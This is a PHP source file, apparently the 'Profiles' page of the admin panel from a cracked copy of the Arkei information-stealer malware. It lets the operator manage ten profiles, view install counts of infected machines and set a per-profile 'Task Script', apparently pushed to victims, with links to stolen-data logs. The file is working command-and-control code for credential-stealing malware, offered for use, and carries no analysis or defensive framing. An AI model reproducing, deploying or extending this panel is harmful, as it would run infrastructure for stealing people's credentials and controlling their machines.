Files
Arkei_Stealer_Cracked/Admin/web/profiles.php
T
2026-08-27 10:51:19 -06:00

257 lines
9.2 KiB
PHP

<?php
/*
Profiles
*/
session_start();
error_reporting(0);
require("app/config.php");
$action;
if($config["db_server"] == null)
{
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/install');
exit(0);
}
if($_SESSION["auth"] != true)
{
header( 'Location: http://'. $config["server_addr"] .'/auth', true, 301 );
}
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
if($database)
{
$profile_1_name = checkParam($_POST["profile_1_name"]);
$profile_1_task = checkParam($_POST["profile_1_task"]);
if($profile_1_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_1_name' WHERE `id`='1';");
if($profile_1_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_1_task' WHERE `id`='1';");
$profile_2_name = checkParam($_POST["profile_2_name"]);
$profile_2_task = checkParam($_POST["profile_2_task"]);
if($profile_2_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_2_name' WHERE `id`='2';");
if($profile_2_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_2_task' WHERE `id`='2';");
$profile_3_name = checkParam($_POST["profile_3_name"]);
$profile_3_task = checkParam($_POST["profile_3_task"]);
if($profile_3_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_3_name' WHERE `id`='3';");
if($profile_3_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_3_task' WHERE `id`='3';");
$profile_4_name = checkParam($_POST["profile_4_name"]);
$profile_4_task = checkParam($_POST["profile_4_task"]);
if($profile_4_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_4_name' WHERE `id`='4';");
if($profile_4_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_4_task' WHERE `id`='4';");
$profile_5_name = checkParam($_POST["profile_5_name"]);
$profile_5_task = checkParam($_POST["profile_5_task"]);
if($profile_5_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_5_name' WHERE `id`='5';");
if($profile_5_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_5_task' WHERE `id`='5';");
$profile_6_name = checkParam($_POST["profile_6_name"]);
$profile_6_task = checkParam($_POST["profile_6_task"]);
if($profile_6_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_6_name' WHERE `id`='6';");
if($profile_6_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_6_task' WHERE `id`='6';");
$profile_7_name = checkParam($_POST["profile_7_name"]);
$profile_7_task = checkParam($_POST["profile_7_task"]);
if($profile_7_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_7_name' WHERE `id`='7';");
if($profile_7_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_7_task' WHERE `id`='7';");
$profile_8_name = checkParam($_POST["profile_8_name"]);
$profile_8_task = checkParam($_POST["profile_8_task"]);
if($profile_8_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_8_name' WHERE `id`='8';");
if($profile_8_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_8_task' WHERE `id`='8';");
$profile_9_name = checkParam($_POST["profile_9_name"]);
$profile_9_task = checkParam($_POST["profile_9_task"]);
if($profile_9_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_9_name' WHERE `id`='9';");
if($profile_9_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_9_task' WHERE `id`='9';");
$profile_10_name = checkParam($_POST["profile_10_name"]);
$profile_10_task = checkParam($_POST["profile_10_task"]);
if($profile_10_name != null)
$database->query("UPDATE `profiles` SET `Name`='$profile_10_name' WHERE `id`='10';");
if($profile_10_task != null)
$database->query("UPDATE `profiles` SET `task`='$profile_10_task' WHERE `id`='10';");
$profiles = $database->query("SELECT * FROM `profiles` ORDER BY `id`;");
}
else
{
$action = "db_not_connected";
}
function checkParam($param)
{
$formatted = $param;
$formatted = trim($formatted);
$formatted = stripslashes($formatted);
$formatted = htmlspecialchars($formatted);
return $formatted;
}
?>
<!doctype html>
<html lang="en-us">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>Profiles | Arkei</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600" rel="stylesheet">
<link rel="apple-touch-icon" href="apple-touch-icon.png">
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="css/main.min.css">
</head>
<body>
<div class="c-toolbar u-mb-medium">
<h3 class="c-toolbar__title has-divider">Profiles</h3>
<h5 class="c-toolbar__meta u-mr-auto">Arkei v2.0 | Develop by <a href="https://t.me/foxovsky">@foxovsky</a></h5>
<a href="/index"><button type="button" class="c-btn c-btn--info u-ml-small" >Logs</button></a>
<a href="/profiles"><button type="button" class="c-btn c-btn--info u-ml-small" >Profiles</button></a>
<a href="/settings"><button type="button" class="c-btn c-btn--success u-ml-small" >Settings</button></a>
</div>
<div class="container">
<div class="row">
<?
switch($action)
{
case 'install_success':
?>
<div class="c-alert c-alert--success">
<i class="c-alert__icon fa fa-check-circle"></i> Arkei successful installed! Please, delete install.php file.</div>
<?
break;
case 'db_not_connected':
?>
<div class="c-alert c-alert--danger">
<i class="c-alert__icon fa fa-check-circle"></i> Can't connect to MySQL database. Please, check app/config.php file</div>
<?
exit(0);
break;
}
if($notice_install_file)
{ ?>
<div class="c-alert c-alert--danger">
<i class="c-alert__icon fa fa-exclamation-triangle"></i> Please, delete install.php file in main directory!</div>
<? }
if(!file_exists('server/'. $config["logs_folder"]))
{ ?>
<div class="c-alert c-alert--danger">
<i class="c-alert__icon fa fa-exclamation-triangle"></i> Directory server/<? echo $config["logs_folder"] ?> does not exist!</div>
<? }
?>
<div class="col-md-12">
<form id="profiles" action="/profiles" method="post">
<div class="c-card u-mb-large">
<div class="c-card__head">
<h3 class="c-card__title">Profiles <small> <a href="/faq?type=tasks">How to use Tasks?</a></small></h3>
</div>
<table class="c-table">
<thead class="c-table__head c-table__head--slim">
<tr class="c-table__row">
<th class="c-table__cell c-table__cell--head">No.</th>
<th class="c-table__cell c-table__cell--head">Name</th>
<th class="c-table__cell c-table__cell--head">Installs</th>
<th class="c-table__cell c-table__cell--head">Task Script</th>
</tr>
</thead>
<tbody>
<?
while ($profile = $profiles->fetch_assoc())
{
?>
<tr class="c-table__row">
<td class="c-table__cell"><span class="u-text-mute"><? echo $profile["id"]; ?></span></td>
<td class="c-table__cell">
<div class="c-field">
<input class="c-input" name="profile_<? echo $profile["id"]; ?>_name" type="text" value="<? echo $profile["Name"]; ?>">
</div>
</td>
<td class="c-table__cell">
<span class="u-text-mute"><? echo $profile["Count"]; ?> Installs</span>
</td>
<td class="c-table__cell">
<span class="u-text-mute">
<div class="c-field">
<textarea class="c-input" name="profile_<? echo $profile["id"]; ?>_task"><? echo $profile["task"]; ?></textarea>
</div>
</span>
</td>
</tr>
<? } ?>
</tbody>
</table>
</div>
<div class="col u-mb-medium" style="width:200px; margin-right: 50%; margin-top: -30px;">
<a onclick="document.getElementById('profiles').submit(); return false;" class="c-btn c-btn--success c-btn--fullwidth">Save</a>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>